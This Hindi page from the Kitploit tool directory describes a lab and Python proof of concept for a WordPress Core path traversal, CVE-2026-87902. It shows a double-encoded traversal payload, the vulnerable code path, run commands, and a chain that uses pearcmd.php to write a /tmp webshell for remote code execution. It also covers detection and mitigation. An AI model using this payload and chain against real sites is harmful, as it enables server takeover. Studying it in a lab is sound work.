Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
EXPLOIT-CVE-2026-87902 — Docker में असुरक्षित लैब + CVE-2026-87902 के लिए Python PoC — WordPress Core में अनधिकृत path traversal (page-template -> LFI -> सशर्त RCE)। शैक्षिक/अधिकृत उपयोग। | Kitploit
उपकरण/GitHubGitHub/joaovicdev/exploit-cve-2026-87902
कंटेनर सुरक्षाभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणवेब सुरक्षापेनिट्रेशन टेस्टिंगलर्निंग और शिक्षापेलोड डेवलपमेंटलैब और अभ्यास

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
GitHubjoaovicdev/exploit-cve-2026-87902

EXPLOIT-CVE-2026-87902

Docker में असुरक्षित लैब + CVE-2026-87902 के लिए Python PoC — WordPress Core में अनधिकृत path traversal (page-template -> LFI -> सशर्त RCE)। शैक्षिक/अधिकृत उपयोग।

रिपॉजिटरी देखें
5घं 15मि पहलेअभी तक समीक्षित नहीं

लैब + एक्सप्लॉइट — CVE-2026-87902

जानबूझकर कमज़ोर लैब + CVE-2026-87902 के लिए Python में PoC: WordPress Core के page template रिज़ॉल्यूशन में अनऑथेंटिकेटेड path traversal, जो Local File Inclusion (LFI) और सशर्त RCE तक ले जाता है।

फ़ील्डमान
उत्पादWordPress Core
प्रभावित संस्करण4.7.0 → 7.1.1
फ़िक्स7.1.2 (4.7.37 तक बैकपोर्ट)
प्रकारPath Traversal (CWE-22) → LFI → सशर्त RCE
प्रमाणीकरणकोई नहीं (अनऑथेंटिकेटेड)
CVSS 4.09.2 (क्रिटिकल)
प्रकाशन2026-09-23

⚠️ कानूनी / नैतिक चेतावनी। यहाँ सारी सामग्री स्थानीय और अधिकृत वातावरण में अध्ययन के लिए है। यह लैब जानबूझकर असुरक्षित Docker इमेज है — इसे इंटरनेट पर एक्सपोज़ न करें। exploit.py का डिफ़ॉल्ट लक्ष्य जानबूझकर http://localhost:8091 है। स्पष्ट लिखित अनुमति के बिना किसी भी सिस्टम के विरुद्ध PoC चलाना अपराध है। उपयोग की सारी ज़िम्मेदारी आपकी है।


संरचना

root@kitploit:~
EXPLOIT-CVE-2026-87902/
├── README.md                # यह फ़ाइल
├── docker-compose.yml       # लैब को localhost:8091 पर शुरू करता है
├── lab/
│   ├── Dockerfile           # php:8.2-apache + PEAR + register_argc_argv=On
│   ├── config/zz-lab.ini    # RCE की पर्यावरणीय पूर्व-शर्तें
│   └── src/                 # "WordPress mini" जो कमज़ोर हिस्से को दोहराता है
│       ├── index.php        # front controller (≈ template-loader.php)
│       ├── wp-mini.php      # कमज़ोर get_page_template()/locate_template()/...
│       ├── private/
│       │   └── secret-config.php   # थीम के बाहर .php लक्ष्य (LFI का प्रमाण)
│       └── wp-content/themes/twentytwelve-mini/
│           ├── style.css
│           ├── index.php
│           └── page-templates/     # traversal के लिए आवश्यक "page-*" डायरेक्टरी
│               └── full-width.php
└── exploit/
    ├── exploit.py           # PoC (pt-BR): LFI + pearcmd के माध्यम से RCE चेन
    └── requirements.txt

कैसे चलाएँ

पूर्वापेक्षाएँ: Docker + Docker Compose और requests के साथ Python 3।

root@kitploit:~
# 1) लैब शुरू करें (http://localhost:8091 पर उपलब्ध होगा)
docker compose up --build

# 2) दूसरे टर्मिनल में, PoC की निर्भरता इंस्टॉल करें और चलाएँ
cd exploit
pip install -r requirements.txt
python3 exploit.py            # स्थानीय लैब के विरुद्ध LFI + RCE चलाता है

# उपयोगी विकल्प
python3 exploit.py --mode lfi              # केवल LFI प्रमाण
python3 exploit.py --mode rce --cmd 'uname -a'
python3 exploit.py --target http://localhost:8091

# 3) लैब बंद करें
docker compose down

अपेक्षित आउटपुट (सारांश):

root@kitploit:~
[LFI] Sucesso! Arquivo externo incluído -> SEGREDO_DO_LAB{lfi_via_page_template_traversal}
[RCE] Comando executado no servidor:
------------------------------------------------------------
uid=33(www-data) gid=33(www-data) groups=33(www-data)
FLAG{cve_2026_87902_rce_no_wordpress_mini}
------------------------------------------------------------

कमज़ोरी की शारीरिक रचना

1. कमज़ोर कोड पथ

get_page_template() में सार्वजनिक query var pagename का मान टेम्पलेट नाम बनाने के लिए उपयोग किया जाता है। कोर कच्चे मान को validate_file() से मान्य करता है (जो शाब्दिक .. को रोकता है), लेकिन फिर मान को एक बार डिकोड करता है और परिणाम को टेम्पलेट उम्मीदवार के रूप में बिना पुनः मान्य किए उपयोग करता है (wp-mini.php में सटीक पुनरुत्पादन):

root@kitploit:~
if ($pagename !== '' && 0 === validate_file($pagename)) {
    $templates[] = "page-{$pagename}.php";          // कच्चा मान (अभी भी एन्कोडेड)

    $pagename_decoded = urldecode($pagename);        // <-- दूसरा डिकोड
    if ($pagename_decoded !== $pagename) {
        $templates[] = "page-{$pagename_decoded}.php"; // traversal फिर से शुरू
    }
}

इसके बाद locator थीम + "/" + टेम्पलेट को जोड़ता है और मौजूद पहली फ़ाइल को शामिल करता है, बिना realpath() या यह जाँच किए कि परिणाम थीम डायरेक्टरी के अंदर ही रहता है।

2. डबल एन्कोडिंग बायपास

हमलावर pagename को दोहरी एन्कोडिंग में भेजता है:

root@kitploit:~
वायर पर मान (POST body):   templates%252f%252e%252e%252f...%252fpearcmd
पहला डिकोड (HTTP):         templates%2f%2e%2e%2f...%2fpearcmd     <- शाब्दिक '..' नहीं => validate_file() पास
दूसरा डिकोड (core):        templates/../../.../pearcmd            <- वास्तविक traversal

चूँकि locator page- प्रीफ़िक्स लगाता है, पथ बन जाता है page-templates/../../.../pearcmd.php। यह थीम के बाहर रिज़ॉल्व होता है।

3. RCE बनने की पूर्व-शर्तें (सभी लैब में मौजूद)

  • page- से शुरू होने वाली टॉप-लेवल डायरेक्टरी वाली थीम (यहाँ, page-templates/)। यह traversal का वास्तविक प्रारंभ बिंदु है: Linux में ../ रिज़ॉल्व होने के लिए पथ का प्रत्येक घटक मौजूद होना चाहिए। लिगेसी थीम (Twenty Twelve/Fourteen) और लोकप्रिय थीम (Neve, Hestia, Sydney) इसे पूरा करती हैं।
  • PHP में register_argc_argv = On → $_SERVER['argv'] query string से भरा जाता है।
  • सर्वर पर pearcmd.php पठनीय (आधिकारिक php:8.2-apache इमेज इसे डिफ़ॉल्ट include_path में /usr/local/lib/php/pearcmd.php पर पहले से शामिल करती है)।

चूँकि locator .php जोड़ता है, LFI केवल .php फ़ाइलों तक पहुँच सकता है। इसलिए RCE का व्यावहारिक मार्ग pearcmd.php के साथ श्रृंखलाबद्ध होता है:

  • चरण 1 — query string (=argv) के माध्यम से config-create पास करते हुए pearcmd.php को शामिल करें ताकि /tmp में एक .php वेबशेल लिखा जाए।
  • चरण 2 — नए traversal के माध्यम से उस /tmp/<webshell>.php को शामिल करें → हमलावर का PHP निष्पादित होता है।

4. 7.1.2 इसे कैसे ठीक करता है

पैच pagename के मान को सुसंगत रूप से संभालता है: किसी भी डिकोडिंग के बाद मान्य करता है (या एन्कोडेड traversal अनुक्रमों वाले इनपुट को अस्वीकार करता है) और टेम्पलेट रिज़ॉल्यूशन में डायरेक्टरी सीमा लागू करता है (अंतिम पथ थीम के अंदर ही रहना चाहिए)। परिणाम: दोहरी एन्कोडेड मान अब include तक नहीं पहुँचता।

शमन उपाय: ≥ 7.1.2 पर अपडेट करें; और गहन रक्षा के रूप में, register_argc_argv = Off, pearcmd.php को हटाएँ/प्रतिबंधित करें, और एक WAF जो अनुरोधों में एन्कोडेड ../ (%2e%2e%2f, %252e...) का पता लगाए।


डिटेक्शन (रक्षा टीम के लिए)

  • पैरामीटर में एन्कोडेड/डबल-एन्कोडेड ../ (%2e%2e%2f, %252e%252e%252f) वाले फ्रंट-एंड अनुरोध।
  • page template रिज़ॉल्यूशन में हेरफेर के प्रयास (pagename में असामान्य मान), विशेष रूप से config-create / pearcmd संदर्भों वाली query strings के साथ संयोजित।
  • /tmp में अप्रत्याशित .php फ़ाइलों का निर्माण और उसके बाद उनका inclusion।

स्रोत

  • NVD — CVE-2026-87902
  • VulDB — CVE-2026-87902
  • Help Net Security — WordPress 7.1.2 corrige a CVE-2026-87902
  • SOC Prime — Critical WordPress Core RCE Flaw
  • Hadrian — Working PoC for WordPress's Critical Path Traversal
  • Security Affairs
टूल डाउनलोड करें